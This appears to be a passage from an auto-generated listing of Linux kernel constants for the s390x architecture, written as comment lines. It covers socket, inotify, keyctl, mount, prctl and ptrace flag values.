-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x800
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x20
-- MAP_ANONYMOUS = 0x20
-- MAP_DENYWRITE = 0x800
-- MAP_EXECUTABLE = 0x1000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x100
-- MAP_HUGETLB = 0x40000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x2000
-- MAP_NONBLOCK = 0x10000
-- MAP_NORESERVE = 0x4000
-- MAP_POPULATE = 0x8000
-- MAP_PRIVATE = 0x2
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x20000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x400
-- O_ASYNC = 0x2000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x40
-- O_DIRECT = 0x4000
-- O_DIRECTORY = 0x10000
-- O_DSYNC = 0x1000
-- O_EXCL = 0x80
-- O_FSYNC = 0x101000
-- O_LARGEFILE = 0x0
-- O_NDELAY = 0x800
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x100
-- O_NOFOLLOW = 0x20000
-- O_NONBLOCK = 0x800
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x101000
-- O_SYNC = 0x101000
-- O_TMPFILE = 0x410000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x2401
-- PERF_EVENT_IOC_ENABLE = 0x2400
-- PERF_EVENT_IOC_ID = 0x80082407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-- PERF_EVENT_IOC_PERIOD = 0x40082404
-- PERF_EVENT_IOC_REFRESH = 0x2402
-- PERF_EVENT_IOC_RESET = 0x2403
-- PERF_EVENT_IOC_SET_BPF = 0x40042408
-- PERF_EVENT_IOC_SET_FILTER = 0x40082406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = -0x1
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_DISABLE_TE = 0x5010
-- PTRACE_ENABLE_TE = 0x5009
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GET_LAST_BREAK = 0x5006
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_OLDSETOPTIONS = 0x15
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKDATA_AREA = 0x5003
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKTEXT_AREA = 0x5002
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_PEEKUSR_AREA = 0x5000
-- PTRACE_PEEK_SYSTEM_CALL = 0x5007
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKEDATA_AREA = 0x5005
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKETEXT_AREA = 0x5004
-- PTRACE_POKEUSR = 0x6
-- PTRACE_POKEUSR_AREA = 0x5001
-- PTRACE_POKE_SYSTEM_CALL = 0x5008
-- PTRACE_PROT = 0x15
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SINGLEBLOCK = 0xc
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TE_ABORT_RAND = 0x5011
-- PTRACE_TRACEME = 0x0
-- PT_ACR0 = 0x90
-- PT_ACR1 = 0x94
-- PT_ACR10 = 0xb8
-- PT_ACR11 = 0xbc
-- PT_ACR12 = 0xc0
-- PT_ACR13 = 0xc4
-- PT_ACR14 = 0xc8
-- PT_ACR15 = 0xcc
-- PT_ACR2 = 0x98
-- PT_ACR3 = 0x9c
-- PT_ACR4 = 0xa0
-- PT_ACR5 = 0xa4
-- PT_ACR6 = 0xa8
-- PT_ACR7 = 0xac
-- PT_ACR8 = 0xb0
-- PT_ACR9 = 0xb4
-- PT_CR_10 = 0x168
-- PT_CR_11 = 0x170
-- PT_CR_9 = 0x160
-- PT_ENDREGS = 0x1af
-- PT_FPC = 0xd8
-- PT_FPR0 = 0xe0
-- PT_FPR1 = 0xe8
-- PT_FPR10 = 0x130
-- PT_FPR11 = 0x138
-- PT_FPR12 = 0x140
-- PT_FPR13 = 0x148
-- PT_FPR14 = 0x150
-- PT_FPR15 = 0x158
-- PT_FPR2 = 0xf0
-- PT_FPR3 = 0xf8
-- PT_FPR4 = 0x100
-- PT_FPR5 = 0x108
-- PT_FPR6 = 0x110
-- PT_FPR7 = 0x118
-- PT_FPR8 = 0x120
-- PT_FPR9 = 0x128
-- PT_GPR0 = 0x10
-- PT_GPR1 = 0x18
-- PT_GPR10 = 0x60
-- PT_GPR11 = 0x68
-- PT_GPR12 = 0x70
-- PT_GPR13 = 0x78
-- PT_GPR14 = 0x80
-- PT_GPR15 = 0x88
-- PT_GPR2 = 0x20
-- PT_GPR3 = 0x28
-- PT_GPR4 = 0x30
-- PT_GPR5 = 0x38
-- PT_GPR6 = 0x40
-- PT_GPR7 = 0x48
-- PT_GPR8 = 0x50
-- PT_GPR9 = 0x58
-- PT_IEEE_IP = 0x1a8
-- PT_LASTOFF = 0x1a8
-- PT_ORIGGPR2 = 0xd0
-- PT_PSWADDR = 0x8
-- PT_PSWMASK = 0x0
-- RLIMIT_AS = 0x9
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x8
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
